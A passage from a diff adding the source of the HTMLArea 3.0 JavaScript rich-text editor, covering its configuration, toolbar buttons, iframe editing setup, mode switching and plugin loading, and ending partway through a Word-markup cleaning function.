+ _editor_url = _editor_url.replace(/\x2f*$/, '/');
+} else {
+ alert("WARNING: _editor_url is not set! You should set this variable to the editor files path; it should preferably be an absolute path, like in '/htmlarea/', but it can be relative if you prefer. Further we will try to load the editor files correctly but we'll probably fail.");
+ _editor_url = '';
+}
+
+// make sure we have a language
+if (typeof _editor_lang == "string") {
+ _editor_lang = _editor_lang.toLowerCase();
+} else {
+ _editor_lang = "en";
+}
+
+// Creates a new HTMLArea object. Tries to replace the textarea with the given
+// ID with it.
+function HTMLArea(textarea, config) {
+ if (HTMLArea.checkSupportedBrowser()) {
+ if (typeof config == "undefined") {
+ this.config = new HTMLArea.Config();
+ } else {
+ this.config = config;
+ }
+ this._htmlArea = null;
+ this._textArea = textarea;
+ this._editMode = "wysiwyg";
+ this.plugins = {};
+ this._timerToolbar = null;
+ this._timerUndo = null;
+ this._undoQueue = new Array(this.config.undoSteps);
+ this._undoPos = -1;
+ this._customUndo = false;
+ this._mdoc = document; // cache the document, we need it in plugins
+ this.doctype = '';
+ }
+};
+
+// load some scripts
+(function() {
+ var scripts = HTMLArea._scripts = [ _editor_url + "htmlarea.js",
+ _editor_url + "dialog.js",
+ _editor_url + "popupwin.js",
+ _editor_url + "lang/" + _editor_lang + ".js" ];
+ var head = document.getElementsByTagName("head")[0];
+ // start from 1, htmlarea.js is already loaded
+ for (var i = 1; i < scripts.length; ++i) {
+ var script = document.createElement("script");
+ script.src = scripts[i];
+ head.appendChild(script);
+ }
+})();
+
+// cache some regexps
+HTMLArea.RE_tagName = /(<\/|<)\s*([^ \t\n>]+)/ig;
+HTMLArea.RE_doctype = /(<!doctype((.|\n)*?)>)\n?/i;
+HTMLArea.RE_head = /<head>((.|\n)*?)<\/head>/i;
+HTMLArea.RE_body = /<body>((.|\n)*?)<\/body>/i;
+
+HTMLArea.Config = function () {
+ this.version = "3.0";
+
+ this.width = "500";
+ this.height = "300";
+
+ // enable creation of a status bar?
+ this.statusBar = false;
+
+ // maximum size of the undo queue
+ this.undoSteps = 20;
+
+ // the time interval at which undo samples are taken
+ this.undoTimeout = 500; // 1/2 sec.
+
+ // the next parameter specifies whether the toolbar should be included
+ // in the size or not.
+ this.sizeIncludesToolbar = true;
+
+ // if true then HTMLArea will retrieve the full HTML, starting with the
+ // <HTML> tag.
+ this.fullPage = false;
+
+ // style included in the iframe document
+ this.pageStyle = "";
+
+ // set to true if you want Word code to be cleaned upon Paste
+ this.killWordOnPaste = true;
+
+ // BaseURL included in the iframe document
+ this.baseURL = document.baseURI || document.URL;
+ if (this.baseURL && this.baseURL.match(/(.*)\/([^\/]+)/))
+ this.baseURL = RegExp.$1 + "/";
+
+ // URL-s
+ this.imgURL = "images/";
+ this.popupURL = "popups/";
+
+ /** CUSTOMIZING THE TOOLBAR
+ * -------------------------
+ *
+ * It is recommended that you customize the toolbar contents in an
+ * external file (i.e. the one calling HTMLArea) and leave this one
+ * unchanged. That's because when we (InteractiveTools.com) release a
+ * new official version, it's less likely that you will have problems
+ * upgrading HTMLArea.
+ */
+ this.toolbar = [
+ [ "fontname", "space",
+ "fontsize", "space",
+ "formatblock", "space",
+ "bold", "italic", "underline", "separator",
+ "subscript", "superscript", "separator" ],
+
+ [ "justifyleft", "justifycenter", "justifyright", "justifyfull", "separator",
+ "orderedlist", "unorderedlist", "outdent", "indent", "separator",
+ "forecolor", "separator",
+ "inserthorizontalrule", "createlink", "inserttable", "htmlmode", "separator",
+ "copy", "cut", "paste", "space", "undo", "redo" ]
+ ];
+
+ this.fontname = {
+ "Arial": 'arial,helvetica,sans-serif',
+ "Courier New": 'courier new,courier,monospace',
+ "Georgia": 'georgia,times new roman,times,serif',
+ "Tahoma": 'tahoma,arial,helvetica,sans-serif',
+ "Times New Roman": 'times new roman,times,serif',
+ "Verdana": 'verdana,arial,helvetica,sans-serif',
+ "impact": 'impact',
+ "WingDings": 'wingdings'
+ };
+
+ this.fontsize = {
+ "1 (8 pt)": "1",
+ "2 (10 pt)": "2",
+ "3 (12 pt)": "3",
+ "4 (14 pt)": "4",
+ "5 (18 pt)": "5",
+ "6 (24 pt)": "6",
+ "7 (36 pt)": "7"
+ };
+
+ this.formatblock = {
+ "Heading 1": "h1",
+ "Heading 2": "h2",
+ "Heading 3": "h3",
+ "Heading 4": "h4",
+ "Heading 5": "h5",
+ "Heading 6": "h6",
+ "Normal": "p",
+ "Address": "address",
+ "Formatted": "pre"
+ };
+
+ this.customSelects = {};
+
+ function cut_copy_paste(e, cmd, obj) {
+ e.execCommand(cmd);
+ };
+
+ // ADDING CUSTOM BUTTONS: please read below!
+ // format of the btnList elements is "ID: [ ToolTip, Icon, Enabled in text mode?, ACTION ]"
+ // - ID: unique ID for the button. If the button calls document.execCommand
+ // it's wise to give it the same name as the called command.
+ // - ACTION: function that gets called when the button is clicked.
+ // it has the following prototype:
+ // function(editor, buttonName)
+ // - editor is the HTMLArea object that triggered the call
+ // - buttonName is the ID of the clicked button
+ // These 2 parameters makes it possible for you to use the same
+ // handler for more HTMLArea objects or for more different buttons.
+ // - ToolTip: default tooltip, for cases when it is not defined in the -lang- file (HTMLArea.I18N)
+ // - Icon: path to an icon image file for the button (TODO: use one image for all buttons!)
+ // - Enabled in text mode: if false the button gets disabled for text-only mode; otherwise enabled all the time.
+ this.btnList = {
+ bold: [ "Bold", "ed_format_bold.gif", false, function(e) {e.execCommand("bold");} ],
+ italic: [ "Italic", "ed_format_italic.gif", false, function(e) {e.execCommand("italic");} ],
+ underline: [ "Underline", "ed_format_underline.gif", false, function(e) {e.execCommand("underline");} ],
+ strikethrough: [ "Strikethrough", "ed_format_strike.gif", false, function(e) {e.execCommand("strikethrough");} ],
+ subscript: [ "Subscript", "ed_format_sub.gif", false, function(e) {e.execCommand("subscript");} ],
+ superscript: [ "Superscript", "ed_format_sup.gif", false, function(e) {e.execCommand("superscript");} ],
+ justifyleft: [ "Justify Left", "ed_align_left.gif", false, function(e) {e.execCommand("justifyleft");} ],
+ justifycenter: [ "Justify Center", "ed_align_center.gif", false, function(e) {e.execCommand("justifycenter");} ],
+ justifyright: [ "Justify Right", "ed_align_right.gif", false, function(e) {e.execCommand("justifyright");} ],
+ justifyfull: [ "Justify Full", "ed_align_justify.gif", false, function(e) {e.execCommand("justifyfull");} ],
+ orderedlist: [ "Ordered List", "ed_list_num.gif", false, function(e) {e.execCommand("insertorderedlist");} ],
+ unorderedlist: [ "Bulleted List", "ed_list_bullet.gif", false, function(e) {e.execCommand("insertunorderedlist");} ],
+ outdent: [ "Decrease Indent", "ed_indent_less.gif", false, function(e) {e.execCommand("outdent");} ],
+ indent: [ "Increase Indent", "ed_indent_more.gif", false, function(e) {e.execCommand("indent");} ],
+ forecolor: [ "Font Color", "ed_color_fg.gif", false, function(e) {e.execCommand("forecolor");} ],
+ hilitecolor: [ "Background Color", "ed_color_bg.gif", false, function(e) {e.execCommand("hilitecolor");} ],
+ inserthorizontalrule: [ "Horizontal Rule", "ed_hr.gif", false, function(e) {e.execCommand("inserthorizontalrule");} ],
+ createlink: [ "Insert Web Link", "ed_link.gif", false, function(e) {e.execCommand("createlink", true);} ],
+ insertimage: [ "Insert/Modify Image", "ed_image.gif", false, function(e) {e.execCommand("insertimage");} ],
+ inserttable: [ "Insert Table", "insert_table.gif", false, function(e) {e.execCommand("inserttable");} ],
+ htmlmode: [ "Toggle HTML Source", "ed_html.gif", true, function(e) {e.execCommand("htmlmode");} ],
+ popupeditor: [ "Enlarge Editor", "fullscreen_maximize.gif", true, function(e) {e.execCommand("popupeditor");} ],
+ about: [ "About this editor", "ed_about.gif", true, function(e) {e.execCommand("about");} ],
+ showhelp: [ "Help using editor", "ed_help.gif", true, function(e) {e.execCommand("showhelp");} ],
+ undo: [ "Undoes your last action", "ed_undo.gif", false, function(e) {e.execCommand("undo");} ],
+ redo: [ "Redoes your last action", "ed_redo.gif", false, function(e) {e.execCommand("redo");} ],
+ cut: [ "Cut selection", "ed_cut.gif", false, cut_copy_paste ],
+ copy: [ "Copy selection", "ed_copy.gif", false, cut_copy_paste ],
+ paste: [ "Paste from clipboard", "ed_paste.gif", false, cut_copy_paste ],
+ lefttoright: [ "Direction left to right", "ed_left_to_right.gif", false, function(e) {e.execCommand("lefttoright");} ],
+ righttoleft: [ "Direction right to left", "ed_right_to_left.gif", false, function(e) {e.execCommand("righttoleft");} ]
+ };
+ /* ADDING CUSTOM BUTTONS
+ * ---------------------
+ *
+ * It is recommended that you add the custom buttons in an external
+ * file and leave this one unchanged. That's because when we
+ * (InteractiveTools.com) release a new official version, it's less
+ * likely that you will have problems upgrading HTMLArea.
+ *
+ * Example on how to add a custom button when you construct the HTMLArea:
+ *
+ * var editor = new HTMLArea("your_text_area_id");
+ * var cfg = editor.config; // this is the default configuration
+ * cfg.btnList["my-hilite"] =
+ * [ function(editor) { editor.surroundHTML('<span style="background:yellow">', '</span>'); }, // action
+ * "Highlight selection", // tooltip
+ * "my_hilite.gif", // image
+ * false // disabled in text mode
+ * ];
+ * cfg.toolbar.push(["linebreak", "my-hilite"]); // add the new button to the toolbar
+ *
+ * An alternate (also more convenient and recommended) way to
+ * accomplish this is to use the registerButton function below.
+ */
+ // initialize tooltips from the I18N module and generate correct image path
+ for (var i in this.btnList) {
+ var btn = this.btnList[i];
+ btn[1] = _editor_url + this.imgURL + btn[1];
+ if (typeof HTMLArea.I18N.tooltips[i] != "undefined") {
+ btn[0] = HTMLArea.I18N.tooltips[i];
+ }
+ }
+};
+
+/** Helper function: register a new button with the configuration. It can be
+ * called with all 5 arguments, or with only one (first one). When called with
+ * only one argument it must be an object with the following properties: id,
+ * tooltip, image, textMode, action. Examples:
+ *
+ * 1. config.registerButton("my-hilite", "Hilite text", "my-hilite.gif", false, function(editor) {...});
+ * 2. config.registerButton({
+ * id : "my-hilite", // the ID of your button
+ * tooltip : "Hilite text", // the tooltip
+ * image : "my-hilite.gif", // image to be displayed in the toolbar
+ * textMode : false, // disabled in text mode
+ * action : function(editor) { // called when the button is clicked
+ * editor.surroundHTML('<span class="hilite">', '</span>');
+ * },
+ * context : "p" // will be disabled if outside a <p> element
+ * });
+ */
+HTMLArea.Config.prototype.registerButton = function(id, tooltip, image, textMode, action, context) {
+ var the_id;
+ if (typeof id == "string") {
+ the_id = id;
+ } else if (typeof id == "object") {
+ the_id = id.id;
+ } else {
+ alert("ERROR [HTMLArea.Config::registerButton]:\ninvalid arguments");
+ return false;
+ }
+ // check for existing id
+ if (typeof this.customSelects[the_id] != "undefined") {
+ // alert("WARNING [HTMLArea.Config::registerDropdown]:\nA dropdown with the same ID already exists.");
+ }
+ if (typeof this.btnList[the_id] != "undefined") {
+ // alert("WARNING [HTMLArea.Config::registerDropdown]:\nA button with the same ID already exists.");
+ }
+ switch (typeof id) {
+ case "string": this.btnList[id] = [ tooltip, image, textMode, action, context ]; break;
+ case "object": this.btnList[id.id] = [ id.tooltip, id.image, id.textMode, id.action, id.context ]; break;
+ }
+};
+
+/** The following helper function registers a dropdown box with the editor
+ * configuration. You still have to add it to the toolbar, same as with the
+ * buttons. Call it like this:
+ *
+ * FIXME: add example
+ */
+HTMLArea.Config.prototype.registerDropdown = function(object) {
+ // check for existing id
+ if (typeof this.customSelects[object.id] != "undefined") {
+ // alert("WARNING [HTMLArea.Config::registerDropdown]:\nA dropdown with the same ID already exists.");
+ }
+ if (typeof this.btnList[object.id] != "undefined") {
+ // alert("WARNING [HTMLArea.Config::registerDropdown]:\nA button with the same ID already exists.");
+ }
+ this.customSelects[object.id] = object;
+};
+
+/** Call this function to remove some buttons/drop-down boxes from the toolbar.
+ * Pass as the only parameter a string containing button/drop-down names
+ * delimited by spaces. Note that the string should also begin with a space
+ * and end with a space. Example:
+ *
+ * config.hideSomeButtons(" fontname fontsize textindicator ");
+ *
+ * It's useful because it's easier to remove stuff from the defaul toolbar than
+ * create a brand new toolbar ;-)
+ */
+HTMLArea.Config.prototype.hideSomeButtons = function(remove) {
+ var toolbar = this.toolbar;
+ for (var i in toolbar) {
+ var line = toolbar[i];
+ for (var j = line.length; --j >= 0; ) {
+ if (remove.indexOf(" " + line[j] + " ") >= 0) {
+ var len = 1;
+ if (/separator|space/.test(line[j + 1])) {
+ len = 2;
+ }
+ line.splice(j, len);
+ }
+ }
+ }
+};
+
+/** Helper function: replace all TEXTAREA-s in the document with HTMLArea-s. */
+HTMLArea.replaceAll = function(config) {
+ var tas = document.getElementsByTagName("textarea");
+ for (var i = tas.length; i > 0; (new HTMLArea(tas[--i], config)).generate());
+};
+
+/** Helper function: replaces the TEXTAREA with the given ID with HTMLArea. */
+HTMLArea.replace = function(id, config) {
+ var ta = HTMLArea.getElementById("textarea", id);
+ return ta ? (new HTMLArea(ta, config)).generate() : null;
+};
+
+// Creates the toolbar and appends it to the _htmlarea
+HTMLArea.prototype._createToolbar = function () {
+ var editor = this; // to access this in nested functions
+
+ var toolbar = document.createElement("div");
+ this._toolbar = toolbar;
+ toolbar.className = "toolbar";
+ toolbar.unselectable = "1";
+ var tb_row = null;
+ var tb_objects = new Object();
+ this._toolbarObjects = tb_objects;
+
+ // creates a new line in the toolbar
+ function newLine() {
+ var table = document.createElement("table");
+ table.border = "0px";
+ table.cellSpacing = "0px";
+ table.cellPadding = "0px";
+ toolbar.appendChild(table);
+ // TBODY is required for IE, otherwise you don't see anything
+ // in the TABLE.
+ var tb_body = document.createElement("tbody");
+ table.appendChild(tb_body);
+ tb_row = document.createElement("tr");
+ tb_body.appendChild(tb_row);
+ }; // END of function: newLine
+ // init first line
+ newLine();
+
+ // updates the state of a toolbar element. This function is member of
+ // a toolbar element object (unnamed objects created by createButton or
+ // createSelect functions below).
+ function setButtonStatus(id, newval) {
+ var oldval = this[id];
+ var el = this.element;
+ if (oldval != newval) {
+ switch (id) {
+ case "enabled":
+ if (newval) {
+ HTMLArea._removeClass(el, "buttonDisabled");
+ el.disabled = false;
+ } else {
+ HTMLArea._addClass(el, "buttonDisabled");
+ el.disabled = true;
+ }
+ break;
+ case "active":
+ if (newval) {
+ HTMLArea._addClass(el, "buttonPressed");
+ } else {
+ HTMLArea._removeClass(el, "buttonPressed");
+ }
+ break;
+ }
+ this[id] = newval;
+ }
+ }; // END of function: setButtonStatus
+
+ // this function will handle creation of combo boxes. Receives as
+ // parameter the name of a button as defined in the toolBar config.
+ // This function is called from createButton, above, if the given "txt"
+ // doesn't match a button.
+ function createSelect(txt) {
+ var options = null;
+ var el = null;
+ var cmd = null;
+ var customSelects = editor.config.customSelects;
+ var context = null;
+ var tooltip = "";
+ switch (txt) {
+ case "fontsize":
+ case "fontname":
+ case "formatblock":
+ // the following line retrieves the correct
+ // configuration option because the variable name
+ // inside the Config object is named the same as the
+ // button/select in the toolbar. For instance, if txt
+ // == "formatblock" we retrieve config.formatblock (or
+ // a different way to write it in JS is
+ // config["formatblock"].
+ options = editor.config[txt];
+ cmd = txt;
+ break;
+ default:
+ // try to fetch it from the list of registered selects
+ cmd = txt;
+ var dropdown = customSelects[cmd];
+ if (typeof dropdown != "undefined") {
+ options = dropdown.options;
+ context = dropdown.context;
+ if (typeof dropdown.tooltip != "undefined") {
+ tooltip = dropdown.tooltip;
+ }
+ } else {
+ alert("ERROR [createSelect]:\nCan't find the requested dropdown definition");
+ }
+ break;
+ }
+ if (options) {
+ el = document.createElement("select");
+ el.title = tooltip;
+ var obj = {
+ name : txt, // field name
+ element : el, // the UI element (SELECT)
+ enabled : true, // is it enabled?
+ text : false, // enabled in text mode?
+ cmd : cmd, // command ID
+ state : setButtonStatus, // for changing state
+ context : context
+ };
+ tb_objects[txt] = obj;
+ for (var i in options) {
+ var op = document.createElement("option");
+ op.appendChild(document.createTextNode(i));
+ op.value = options[i];
+ el.appendChild(op);
+ }
+ HTMLArea._addEvent(el, "change", function () {
+ editor._comboSelected(el, txt);
+ });
+ }
+ return el;
+ }; // END of function: createSelect
+
+ // appends a new button to toolbar
+ function createButton(txt) {
+ // the element that will be created
+ var el = null;
+ var btn = null;
+ switch (txt) {
+ case "separator":
+ el = document.createElement("div");
+ el.className = "separator";
+ break;
+ case "space":
+ el = document.createElement("div");
+ el.className = "space";
+ break;
+ case "linebreak":
+ newLine();
+ return false;
+ case "textindicator":
+ el = document.createElement("div");
+ el.appendChild(document.createTextNode("A"));
+ el.className = "indicator";
+ el.title = HTMLArea.I18N.tooltips.textindicator;
+ var obj = {
+ name : txt, // the button name (i.e. 'bold')
+ element : el, // the UI element (DIV)
+ enabled : true, // is it enabled?
+ active : false, // is it pressed?
+ text : false, // enabled in text mode?
+ cmd : "textindicator", // the command ID
+ state : setButtonStatus // for changing state
+ };
+ tb_objects[txt] = obj;
+ break;
+ default:
+ btn = editor.config.btnList[txt];
+ }
+ if (!el && btn) {
+ el = document.createElement("div");
+ el.title = btn[0];
+ el.className = "button";
+ // let's just pretend we have a button object, and
+ // assign all the needed information to it.
+ var obj = {
+ name : txt, // the button name (i.e. 'bold')
+ element : el, // the UI element (DIV)
+ enabled : true, // is it enabled?
+ active : false, // is it pressed?
+ text : btn[2], // enabled in text mode?
+ cmd : btn[3], // the command ID
+ state : setButtonStatus, // for changing state
+ context : btn[4] || null // enabled in a certain context?
+ };
+ tb_objects[txt] = obj;
+ // handlers to emulate nice flat toolbar buttons
+ HTMLArea._addEvent(el, "mouseover", function () {
+ if (obj.enabled) {
+ HTMLArea._addClass(el, "buttonHover");
+ }
+ });
+ HTMLArea._addEvent(el, "mouseout", function () {
+ if (obj.enabled) with (HTMLArea) {
+ _removeClass(el, "buttonHover");
+ _removeClass(el, "buttonActive");
+ (obj.active) && _addClass(el, "buttonPressed");
+ }
+ });
+ HTMLArea._addEvent(el, "mousedown", function (ev) {
+ if (obj.enabled) with (HTMLArea) {
+ _addClass(el, "buttonActive");
+ _removeClass(el, "buttonPressed");
+ _stopEvent(is_ie ? window.event : ev);
+ }
+ });
+ // when clicked, do the following:
+ HTMLArea._addEvent(el, "click", function (ev) {
+ if (obj.enabled) with (HTMLArea) {
+ _removeClass(el, "buttonActive");
+ _removeClass(el, "buttonHover");
+ obj.cmd(editor, obj.name, obj);
+ _stopEvent(is_ie ? window.event : ev);
+ }
+ });
+ var img = document.createElement("img");
+ img.src = btn[1];
+ img.style.width = "18px";
+ img.style.height = "18px";
+ el.appendChild(img);
+ } else if (!el) {
+ el = createSelect(txt);
+ }
+ if (el) {
+ var tb_cell = document.createElement("td");
+ tb_row.appendChild(tb_cell);
+ tb_cell.appendChild(el);
+ } else {
+ alert("FIXME: Unknown toolbar item: " + txt);
+ }
+ return el;
+ };
+
+ var first = true;
+ for (var i in this.config.toolbar) {
+ if (!first) {
+ createButton("linebreak");
+ } else {
+ first = false;
+ }
+ var group = this.config.toolbar[i];
+ for (var j in group) {
+ var code = group[j];
+ if (/^([IT])\[(.*?)\]/.test(code)) {
+ // special case, create text label
+ var l7ed = RegExp.$1 == "I"; // localized?
+ var label = RegExp.$2;
+ if (l7ed) {
+ label = HTMLArea.I18N.custom[label];
+ }
+ var tb_cell = document.createElement("td");
+ tb_row.appendChild(tb_cell);
+ tb_cell.className = "label";
+ tb_cell.innerHTML = label;
+ } else {
+ createButton(code);
+ }
+ }
+ }
+
+ this._htmlArea.appendChild(toolbar);
+};
+
+HTMLArea.prototype._createStatusBar = function() {
+ var statusbar = document.createElement("div");
+ statusbar.className = "statusBar";
+ this._htmlArea.appendChild(statusbar);
+ this._statusBar = statusbar;
+ // statusbar.appendChild(document.createTextNode(HTMLArea.I18N.msg["Path"] + ": "));
+ // creates a holder for the path view
+ div = document.createElement("span");
+ div.className = "statusBarTree";
+ div.innerHTML = HTMLArea.I18N.msg["Path"] + ": ";
+ this._statusBarTree = div;
+ this._statusBar.appendChild(div);
+ if (!this.config.statusBar) {
+ // disable it...
+ statusbar.style.display = "none";
+ }
+};
+
+// Creates the HTMLArea object and replaces the textarea with it.
+HTMLArea.prototype.generate = function () {
+ var editor = this; // we'll need "this" in some nested functions
+ // get the textarea
+ var textarea = this._textArea;
+ if (typeof textarea == "string") {
+ // it's not element but ID
+ this._textArea = textarea = HTMLArea.getElementById("textarea", textarea);
+ }
+ this._ta_size = {
+ w: textarea.offsetWidth,
+ h: textarea.offsetHeight
+ };
+ textarea.style.display = "none";
+
+ // create the editor framework
+ var htmlarea = document.createElement("div");
+ htmlarea.className = "htmlarea";
+ this._htmlArea = htmlarea;
+
+ // insert the editor before the textarea.
+ textarea.parentNode.insertBefore(htmlarea, textarea);
+
+ if (textarea.form) {
+ // we have a form, on submit get the HTMLArea content and
+ // update original textarea.
+ var f = textarea.form;
+ if (typeof f.onsubmit == "function") {
+ var funcref = f.onsubmit;
+ if (typeof f.__msh_prevOnSubmit == "undefined") {
+ f.__msh_prevOnSubmit = [];
+ }
+ f.__msh_prevOnSubmit.push(funcref);
+ }
+ f.onsubmit = function() {
+ editor._textArea.value = editor.getHTML();
+ var a = this.__msh_prevOnSubmit;
+ // call previous submit methods if they were there.
+ if (typeof a != "undefined") {
+ for (var i in a) {
+ a[i]();
+ }
+ }
+ };
+ }
+
+ // add a handler for the "back/forward" case -- on body.unload we save
+ // the HTML content into the original textarea.
+ try {
+ window.onunload = function() {
+ editor._textArea.value = editor.getHTML();
+ };
+ } catch(e) {};
+
+ // creates & appends the toolbar
+ this._createToolbar();
+
+ // create the IFRAME
+ var iframe = document.createElement("iframe");
+ htmlarea.appendChild(iframe);
+
+ this._iframe = iframe;
+
+ // creates & appends the status bar, if the case
+ this._createStatusBar();
+
+ // remove the default border as it keeps us from computing correctly
+ // the sizes. (somebody tell me why doesn't this work in IE)
+
+ if (!HTMLArea.is_ie) {
+ iframe.style.borderWidth = "1px";
+ // iframe.frameBorder = "1";
+ // iframe.marginHeight = "0";
+ // iframe.marginWidth = "0";
+ }
+
+ // size the IFRAME according to user's prefs or initial textarea
+ var height = (this.config.height == "auto" ? (this._ta_size.h + "px") : this.config.height);
+ height = parseInt(height);
+ var width = (this.config.width == "auto" ? (this._ta_size.w + "px") : this.config.width);
+ width = parseInt(width);
+
+ if (!HTMLArea.is_ie) {
+ height -= 2;
+ width -= 2;
+ }
+
+ iframe.style.width = width + "px";
+ if (this.config.sizeIncludesToolbar) {
+ // substract toolbar height
+ height -= this._toolbar.offsetHeight;
+ height -= this._statusBar.offsetHeight;
+ }
+ if (height < 0) {
+ height = 0;
+ }
+ iframe.style.height = height + "px";
+
+ // the editor including the toolbar now have the same size as the
+ // original textarea.. which means that we need to reduce that a bit.
+ textarea.style.width = iframe.style.width;
+ textarea.style.height = iframe.style.height;
+
+ // IMPORTANT: we have to allow Mozilla a short time to recognize the
+ // new frame. Otherwise we get a stupid exception.
+ function initIframe() {
+ var doc = editor._iframe.contentWindow.document;
+ if (!doc) {
+ // Try again..
+ // FIXME: don't know what else to do here. Normally
+ // we'll never reach this point.
+ if (HTMLArea.is_gecko) {
+ setTimeout(initIframe, 100);
+ return false;
+ } else {
+ alert("ERROR: IFRAME can't be initialized.");
+ }
+ }
+ if (HTMLArea.is_gecko) {
+ // enable editable mode for Mozilla
+ doc.designMode = "on";
+ }
+ editor._doc = doc;
+ if (!editor.config.fullPage) {
+ doc.open();
+ var html = "<html>\n";
+ html += "<head>\n";
+ if (editor.config.baseURL)
+ html += '<base href="' + editor.config.baseURL + '" />';
+ html += "<style>" + editor.config.pageStyle +
+ " html,body { border: 0px; }</style>\n";
+ html += "</head>\n";
+ html += "<body>\n";
+ html += editor._textArea.value;
+ html += "</body>\n";
+ html += "</html>";
+ doc.write(html);
+ doc.close();
+ } else {
+ var html = editor._textArea.value;
+ if (html.match(HTMLArea.RE_doctype)) {
+ editor.setDoctype(RegExp.$1);
+ html = html.replace(HTMLArea.RE_doctype, "");
+ }
+ doc.open();
+ doc.write(html);
+ doc.close();
+ }
+
+ if (HTMLArea.is_ie) {
+ // enable editable mode for IE. For some reason this
+ // doesn't work if done in the same place as for Gecko
+ // (above).
+ doc.body.contentEditable = true;
+ }
+
+ editor.focusEditor();
+ // intercept some events; for updating the toolbar & keyboard handlers
+ HTMLArea._addEvents
+ (doc, ["keydown", "keypress", "mousedown", "mouseup", "drag"],
+ function (event) {
+ return editor._editorEvent(HTMLArea.is_ie ? editor._iframe.contentWindow.event : event);
+ });
+
+ // check if any plugins have registered refresh handlers
+ for (var i in editor.plugins) {
+ var plugin = editor.plugins[i].instance;
+ if (typeof plugin.onGenerate == "function")
+ plugin.onGenerate();
+ if (typeof plugin.onGenerateOnce == "function") {
+ plugin.onGenerateOnce();
+ plugin.onGenerateOnce = null;
+ }
+ }
+
+ setTimeout(function() {
+ editor.updateToolbar();
+ }, 250);
+
+ if (typeof editor.onGenerate == "function")
+ editor.onGenerate();
+ };
+ setTimeout(initIframe, 100);
+};
+
+// Switches editor mode; parameter can be "textmode" or "wysiwyg". If no
+// parameter was passed this function toggles between modes.
+HTMLArea.prototype.setMode = function(mode) {
+ if (typeof mode == "undefined") {
+ mode = ((this._editMode == "textmode") ? "wysiwyg" : "textmode");
+ }
+ switch (mode) {
+ case "textmode":
+ this._textArea.value = this.getHTML();
+ this._iframe.style.display = "none";
+ this._textArea.style.display = "block";
+ if (this.config.statusBar) {
+ this._statusBar.innerHTML = HTMLArea.I18N.msg["TEXT_MODE"];
+ }
+ break;
+ case "wysiwyg":
+ if (HTMLArea.is_gecko) {
+ // disable design mode before changing innerHTML
+ try {
+ this._doc.designMode = "off";
+ } catch(e) {};
+ }
+ if (!this.config.fullPage)
+ this._doc.body.innerHTML = this.getHTML();
+ else
+ this.setFullHTML(this.getHTML());
+ this._iframe.style.display = "block";
+ this._textArea.style.display = "none";
+ if (HTMLArea.is_gecko) {
+ // we need to refresh that info for Moz-1.3a
+ try {
+ this._doc.designMode = "on";
+ } catch(e) {};
+ }
+ if (this.config.statusBar) {
+ this._statusBar.innerHTML = '';
+ this._statusBar.appendChild(document.createTextNode(HTMLArea.I18N.msg["Path"] + ": "));
+ this._statusBar.appendChild(this._statusBarTree);
+ }
+ break;
+ default:
+ alert("Mode <" + mode + "> not defined!");
+ return false;
+ }
+ this._editMode = mode;
+ this.focusEditor();
+
+ for (var i in this.plugins) {
+ var plugin = this.plugins[i].instance;
+ if (typeof plugin.onMode == "function") plugin.onMode(mode);
+ }
+};
+
+HTMLArea.prototype.setFullHTML = function(html) {
+ var save_multiline = RegExp.multiline;
+ RegExp.multiline = true;
+ if (html.match(HTMLArea.RE_doctype)) {
+ this.setDoctype(RegExp.$1);
+ html = html.replace(HTMLArea.RE_doctype, "");
+ }
+ RegExp.multiline = save_multiline;
+ if (!HTMLArea.is_ie) {
+ if (html.match(HTMLArea.RE_head))
+ this._doc.getElementsByTagName("head")[0].innerHTML = RegExp.$1;
+ if (html.match(HTMLArea.RE_body))
+ this._doc.getElementsByTagName("body")[0].innerHTML = RegExp.$1;
+ } else {
+ var html_re = /<html>((.|\n)*?)<\/html>/i;
+ html = html.replace(html_re, "$1");
+ this._doc.open();
+ this._doc.write(html);
+ this._doc.close();
+ this._doc.body.contentEditable = true;
+ return true;
+ }
+};
+
+/***************************************************
+ * Category: PLUGINS
+ ***************************************************/
+
+// this is the variant of the function above where the plugin arguments are
+// already packed in an array. Externally, it should be only used in the
+// full-screen editor code, in order to initialize plugins with the same
+// parameters as in the opener window.
+HTMLArea.prototype.registerPlugin2 = function(plugin, args) {
+ if (typeof plugin == "string")
+ plugin = eval(plugin);
+ if (typeof plugin == "undefined") {
+ /* FIXME: This should never happen. But why does it do? */
+ return false;
+ }
+ var obj = new plugin(this, args);
+ if (obj) {
+ var clone = {};
+ var info = plugin._pluginInfo;
+ for (var i in info)
+ clone[i] = info[i];
+ clone.instance = obj;
+ clone.args = args;
+ this.plugins[plugin._pluginInfo.name] = clone;
+ } else
+ alert("Can't register plugin " + plugin.toString() + ".");
+};
+
+// Create the specified plugin and register it with this HTMLArea
+HTMLArea.prototype.registerPlugin = function() {
+ var plugin = arguments[0];
+ var args = [];
+ for (var i = 1; i < arguments.length; ++i)
+ args.push(arguments[i]);
+ this.registerPlugin2(plugin, args);
+};
+
+// static function that loads the required plugin and lang file, based on the
+// language loaded already for HTMLArea. You better make sure that the plugin
+// _has_ that language, otherwise shit might happen ;-)
+HTMLArea.loadPlugin = function(pluginName) {
+ var dir = _editor_url + "plugins/" + pluginName;
+ var plugin = pluginName.replace(/([a-z])([A-Z])([a-z])/g,
+ function (str, l1, l2, l3) {
+ return l1 + "-" + l2.toLowerCase() + l3;
+ }).toLowerCase() + ".js";
+ var plugin_file = dir + "/" + plugin;
+ var plugin_lang = dir + "/lang/" + HTMLArea.I18N.lang + ".js";
+ HTMLArea._scripts.push(plugin_file, plugin_lang);
+ document.write("<script type='text/javascript' src='" + plugin_file + "'></script>");
+ document.write("<script type='text/javascript' src='" + plugin_lang + "'></script>");
+};
+
+HTMLArea.loadStyle = function(style, plugin) {
+ var url = _editor_url || '';
+ if (typeof plugin != "undefined") {
+ url += "plugins/" + plugin + "/";
+ }
+ url += style;
+ document.write("<style type='text/css'>@import url(" + url + ");</style>");
+};
+HTMLArea.loadStyle("htmlarea.css");
+
+/***************************************************
+ * Category: EDITOR UTILITIES
+ ***************************************************/
+
+// The following function is a slight variation of the word cleaner code posted
+// by Weeezl (user @ InteractiveTools forums).
+HTMLArea.prototype._wordClean = function() {
+ var D = this.getInnerHTML();
+ if (D.indexOf('class=Mso') >= 0) {
+
+ // make one line
+ D = D.replace(/\r\n/g, ' ').
+ replace(/\n/g, ' ').
+ replace(/\r/g, ' ').
+ replace(/\ \;/g,' ');
+
+ // keep tags, strip attributes
+ D = D.replace(/ class=[^\s|>]*/gi,'').
+ //replace(/<p [^>]*TEXT-ALIGN: justify[^>]*>/gi,'<p align="justify">').
+ replace(/ style=\"[^>]*\"/gi,'').
